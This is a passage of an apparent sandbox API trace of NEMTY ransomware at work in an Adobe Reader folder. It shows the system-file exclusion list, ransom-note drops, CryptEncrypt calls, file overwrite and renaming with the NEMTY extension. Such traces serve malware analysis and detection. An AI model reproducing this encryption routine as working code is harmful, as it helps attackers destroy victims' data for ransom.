lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0193.242] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0193.242] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0193.242] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0193.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0193.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0193.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0193.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0193.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0193.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0193.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0193.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0193.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.243] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0193.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.243] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.243] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0193.244] CloseHandle (hObject=0x1ec) returned 1 [0193.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0193.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0193.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0193.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0193.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0193.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0193.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0193.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0193.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.245] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0193.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0193.245] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.245] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0193.246] CloseHandle (hObject=0x1ec) returned 1 [0193.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0193.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0193.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0193.246] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x26d2ecd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26d2ecd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0193.246] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0193.247] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x26d2ecd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26d2ecd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0193.247] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0193.247] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0193.247] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x101bc5, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DEXShare.spi", cAlternateFileName="")) returned 1 [0193.247] lstrcmpiW (lpString1="DEXShare.spi", lpString2=".") returned 1 [0193.247] lstrcmpiW (lpString1="DEXShare.spi", lpString2="..") returned 1 [0193.247] lstrcmpiW (lpString1="DEXShare.spi", lpString2="...") returned 1 [0193.247] lstrcmpiW (lpString1="DEXShare.spi", lpString2="windows") returned -1 [0193.247] lstrcmpiW (lpString1="DEXShare.spi", lpString2="$RECYCLE.BIN") returned 1 [0193.247] lstrcmpiW (lpString1="DEXShare.spi", lpString2="rsa") returned -1 [0193.247] lstrcmpiW (lpString1="DEXShare.spi", lpString2="NTDETECT.COM") returned -1 [0193.247] lstrcmpiW (lpString1="DEXShare.spi", lpString2="ntldr") returned -1 [0193.247] lstrcmpiW (lpString1="DEXShare.spi", lpString2="MSDOS.SYS") returned -1 [0193.247] lstrcmpiW (lpString1="DEXShare.spi", lpString2="IO.SYS") returned -1 [0193.247] lstrcmpiW (lpString1="DEXShare.spi", lpString2="boot.ini") returned 1 [0193.247] lstrcmpiW (lpString1="DEXShare.spi", lpString2="boot.ini") returned 1 [0193.247] lstrcmpiW (lpString1="DEXShare.spi", lpString2="AUTOEXEC.BAT") returned 1 [0193.247] lstrcmpiW (lpString1="DEXShare.spi", lpString2="ntuser.dat") returned -1 [0193.247] lstrcmpiW (lpString1="DEXShare.spi", lpString2="desktop.ini") returned 1 [0193.247] lstrcmpiW (lpString1="DEXShare.spi", lpString2="CONFIG.SYS") returned 1 [0193.247] lstrcmpiW (lpString1="DEXShare.spi", lpString2="RECYCLER") returned -1 [0193.247] lstrcmpiW (lpString1="DEXShare.spi", lpString2="BOOTSECT.BAK") returned 1 [0193.247] lstrcmpiW (lpString1="DEXShare.spi", lpString2="bootmgr") returned 1 [0193.247] lstrcmpiW (lpString1="DEXShare.spi", lpString2="programdata") returned -1 [0193.247] lstrcmpiW (lpString1="DEXShare.spi", lpString2="appdata") returned 1 [0193.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.247] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.spi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.247] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.spi", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.spi", lpUsedDefaultChar=0x0) returned 12 [0193.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.247] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.spi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.247] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.spi", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.spi", lpUsedDefaultChar=0x0) returned 12 [0193.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.spi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.spi", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.spi", lpUsedDefaultChar=0x0) returned 12 [0193.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.spi", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.248] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.spi", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.spi", lpUsedDefaultChar=0x0) returned 12 [0193.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0193.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.248] Sleep (dwMilliseconds=0x5) [0193.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26d54e30, dwHighDateTime=0x1d561e8)) [0193.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26d54e30, dwHighDateTime=0x1d561e8)) [0193.251] GetLastError () returned 0xb7 [0193.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.251] GetLastError () returned 0xb7 [0193.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.251] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.251] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.251] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0193.251] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="gep2tLfa4+NS6laXt7g4elt3lksMwCJ6xwMdiUElDxLeabpGJtRxI4puoEJcxF2i\r\nAwfIdnVTakCTYHyqjdb9sy0e844EnYg2WxMwNFgY9LV5qV9uIbiJ02704SoxL5Hs\r\nO8Vh+JZk/BfGWWIbINZM29pSy3Cpv20WC5qQ1KLItrgAtDBdjVMKz7AP86tbQ/Ts\r\nmLPThyFYLNllrwVxH+UOtW1T16x/7++uYT1qjR8gQojTAIR3+tLP0oUdnHql+4wy\r\n0mm02mXTIzsGhArnTEH9z31+VSQUfbOH8CV1xArP3elWc3xqQ/hrbiQEKrROvQia\r\nygopMdXX8P1Txl5MYjBrsQ==\r\n", pcchString=0x653e91c) returned 1 [0193.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0193.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.251] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\DEXShare.spi" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\dexshare.spi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.259] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=1055685) returned 1 [0193.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0193.259] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.259] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0193.268] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.268] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0193.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0193.269] SetFilePointer (in: hFile=0x254, lDistanceToMove=1055685, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x101bc5 [0193.269] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.272] CloseHandle (hObject=0x254) returned 1 [0193.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0193.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.273] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0193.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0193.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.273] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\DEXShare.spi" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\dexshare.spi"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\DEXShare.spi._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\dexshare.spi._nemty_kgobjgd_")) returned 1 [0193.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0193.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.274] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f79, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services.cfg", cAlternateFileName="")) returned 1 [0193.274] lstrcmpiW (lpString1="Services.cfg", lpString2=".") returned 1 [0193.274] lstrcmpiW (lpString1="Services.cfg", lpString2="..") returned 1 [0193.274] lstrcmpiW (lpString1="Services.cfg", lpString2="...") returned 1 [0193.274] lstrcmpiW (lpString1="Services.cfg", lpString2="windows") returned -1 [0193.274] lstrcmpiW (lpString1="Services.cfg", lpString2="$RECYCLE.BIN") returned 1 [0193.274] lstrcmpiW (lpString1="Services.cfg", lpString2="rsa") returned 1 [0193.274] lstrcmpiW (lpString1="Services.cfg", lpString2="NTDETECT.COM") returned 1 [0193.274] lstrcmpiW (lpString1="Services.cfg", lpString2="ntldr") returned 1 [0193.274] lstrcmpiW (lpString1="Services.cfg", lpString2="MSDOS.SYS") returned 1 [0193.274] lstrcmpiW (lpString1="Services.cfg", lpString2="IO.SYS") returned 1 [0193.274] lstrcmpiW (lpString1="Services.cfg", lpString2="boot.ini") returned 1 [0193.274] lstrcmpiW (lpString1="Services.cfg", lpString2="boot.ini") returned 1 [0193.274] lstrcmpiW (lpString1="Services.cfg", lpString2="AUTOEXEC.BAT") returned 1 [0193.274] lstrcmpiW (lpString1="Services.cfg", lpString2="ntuser.dat") returned 1 [0193.274] lstrcmpiW (lpString1="Services.cfg", lpString2="desktop.ini") returned 1 [0193.274] lstrcmpiW (lpString1="Services.cfg", lpString2="CONFIG.SYS") returned 1 [0193.274] lstrcmpiW (lpString1="Services.cfg", lpString2="RECYCLER") returned 1 [0193.274] lstrcmpiW (lpString1="Services.cfg", lpString2="BOOTSECT.BAK") returned 1 [0193.274] lstrcmpiW (lpString1="Services.cfg", lpString2="bootmgr") returned 1 [0193.274] lstrcmpiW (lpString1="Services.cfg", lpString2="programdata") returned 1 [0193.274] lstrcmpiW (lpString1="Services.cfg", lpString2="appdata") returned 1 [0193.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.cfg", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.cfg", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.cfg", lpUsedDefaultChar=0x0) returned 12 [0193.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.cfg", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.cfg", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.cfg", lpUsedDefaultChar=0x0) returned 12 [0193.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.275] WideCharToMultiByte (in: 